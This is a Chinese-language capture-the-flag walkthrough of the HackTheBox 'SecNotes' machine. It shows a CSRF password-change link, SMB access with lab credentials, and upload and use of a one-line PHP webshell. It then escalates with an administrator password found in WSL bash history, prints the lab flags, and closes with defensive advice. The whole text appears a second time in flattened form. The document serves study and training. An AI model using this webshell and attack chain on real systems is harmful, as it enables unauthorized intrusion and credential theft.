[Meachines] [Medium] SecNotes XSRF跨站请求伪造+SMB-Webshell上传+Linux子系统命令历史记录泄露权限提升
字数 1403 2025-08-19 12:41:20

SecNotes靶机渗透测试详细教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.97 --min-rate 1000 -sC -sV

发现开放端口:

  • 80/tcp: Microsoft IIS httpd 10.0 (运行Secure Notes - Login)
  • 445/tcp: Microsoft-DS (Windows 10 Enterprise 17134)
  • 8808/tcp: Microsoft IIS httpd 10.0

1.2 Web服务分析

80端口Web应用分析

  • 发现登录页面:/login.php
  • 发现注册页面:/register.php
  • 发现联系页面:/contact.php
  • 检测到潜在风险方法:TRACE

8808端口Web应用分析

  • 另一个IIS实例
  • 检测到潜在风险方法:TRACE

2. 漏洞利用阶段

2.1 XSRF(跨站请求伪造)漏洞利用

  1. 创建用户
    访问http://10.10.10.97/register.php注册新用户

  2. 登录系统
    使用注册的凭据登录

  3. 发现XSRF漏洞

    • 联系页面(/contact.php)会提交URL后自动访问该链接
    • 修改密码页面(/change_pass.php)存在漏洞:
      • 可通过GET请求修改密码
      • 不需要提供原始密码
  4. 构造XSRF攻击

    http://10.10.10.97/change_pass.php?password=test123&confirm_password=test123&submit=submit
    

    将此链接通过联系页面提交,使tyler@secnotes.htb账户访问

2.2 SMB Webshell上传

  1. 发现SMB凭证

    • 用户名:tyler
    • 密码:92g!mA8BGjOirkL%OG*&
    • 共享路径:\secnotes.htb\new-site
  2. 验证SMB访问

    smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&'
    smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site
    
  3. 上传Webshell

    • 创建PHP webshell:
      <?php system($_GET[1]); ?>
      
    • 上传webshell:
      put /tmp/shell.php shell.php
      
  4. 执行命令

    curl 'http://10.10.10.97:8808/shell.php?1=whoami'
    

    确认webshell工作正常

  5. 获取user flag

    curl 'http://10.10.10.97:8808/shell.php?1=type C:\Users\tyler\Desktop\user.txt'
    

    得到:c820c9c749a18ad20cd753302bcde81d

3. 权限提升阶段

3.1 发现Linux子系统

  1. 检查bash.lnk

    type C:\Users\tyler\Desktop\bash.lnk
    
  2. 查找bash.exe

    Get-ChildItem -Recurse -Path C:\ -Filter "bash.exe"
    
  3. 访问Linux子系统

    cd C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root
    

3.2 分析历史记录

  1. 检查.bash_history
    type .bash_history
    
    发现管理员密码:u6!4ZwgwOM#^OBf#Nwnh

3.3 获取管理员权限

  1. 使用winexe获取系统权限

    winexe -U '.\administrator%u6!4ZwgwOM#^OBf#Nwnh' //10.10.10.97 cmd.exe
    
  2. 获取root flag

    type C:\Users\Administrator\Desktop\root.txt
    

    得到:da93ba016133741828c0cd57abb916ad

4. 关键点总结

  1. XSRF漏洞利用

    • 修改密码功能未验证请求来源
    • 通过联系页面的自动访问功能触发
  2. SMB凭证泄露

    • 通过某种方式获取了tyler账户的SMB凭证
    • 利用SMB上传webshell实现远程代码执行
  3. Linux子系统信息泄露

    • Windows上的Linux子系统(WSL)保留了bash历史记录
    • 历史记录中意外包含了管理员密码
  4. 权限提升路径

    • 普通用户 → 通过WSL历史记录获取管理员凭证 → 系统管理员

5. 防御建议

  1. 防止XSRF

    • 关键操作使用POST请求
    • 添加CSRF token验证
    • 检查Referer头
  2. SMB安全

    • 限制SMB共享的访问权限
    • 使用强密码策略
    • 定期审计共享内容
  3. WSL安全

    • 清理敏感命令历史
    • 限制普通用户访问WSL目录
    • 禁用不必要的子系统功能
  4. 密码管理

    • 避免在命令行中输入明文密码
    • 使用密码管理器
    • 实施多因素认证
SecNotes靶机渗透测试详细教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口: 80/tcp: Microsoft IIS httpd 10.0 (运行Secure Notes - Login) 445/tcp: Microsoft-DS (Windows 10 Enterprise 17134) 8808/tcp: Microsoft IIS httpd 10.0 1.2 Web服务分析 80端口Web应用分析 : 发现登录页面: /login.php 发现注册页面: /register.php 发现联系页面: /contact.php 检测到潜在风险方法:TRACE 8808端口Web应用分析 : 另一个IIS实例 检测到潜在风险方法:TRACE 2. 漏洞利用阶段 2.1 XSRF(跨站请求伪造)漏洞利用 创建用户 : 访问 http://10.10.10.97/register.php 注册新用户 登录系统 : 使用注册的凭据登录 发现XSRF漏洞 : 联系页面( /contact.php )会提交URL后自动访问该链接 修改密码页面( /change_pass.php )存在漏洞: 可通过GET请求修改密码 不需要提供原始密码 构造XSRF攻击 : 将此链接通过联系页面提交,使tyler@secnotes.htb账户访问 2.2 SMB Webshell上传 发现SMB凭证 : 用户名:tyler 密码:92g!mA8BGjOirkL%OG* & 共享路径:\\secnotes.htb\new-site 验证SMB访问 : 上传Webshell : 创建PHP webshell: 上传webshell: 执行命令 : 确认webshell工作正常 获取user flag : 得到:c820c9c749a18ad20cd753302bcde81d 3. 权限提升阶段 3.1 发现Linux子系统 检查bash.lnk : 查找bash.exe : 访问Linux子系统 : 3.2 分析历史记录 检查.bash_ history : 发现管理员密码:u6 !4ZwgwOM#^OBf#Nwnh 3.3 获取管理员权限 使用winexe获取系统权限 : 获取root flag : 得到:da93ba016133741828c0cd57abb916ad 4. 关键点总结 XSRF漏洞利用 : 修改密码功能未验证请求来源 通过联系页面的自动访问功能触发 SMB凭证泄露 : 通过某种方式获取了tyler账户的SMB凭证 利用SMB上传webshell实现远程代码执行 Linux子系统信息泄露 : Windows上的Linux子系统(WSL)保留了bash历史记录 历史记录中意外包含了管理员密码 权限提升路径 : 普通用户 → 通过WSL历史记录获取管理员凭证 → 系统管理员 5. 防御建议 防止XSRF : 关键操作使用POST请求 添加CSRF token验证 检查Referer头 SMB安全 : 限制SMB共享的访问权限 使用强密码策略 定期审计共享内容 WSL安全 : 清理敏感命令历史 限制普通用户访问WSL目录 禁用不必要的子系统功能 密码管理 : 避免在命令行中输入明文密码 使用密码管理器 实施多因素认证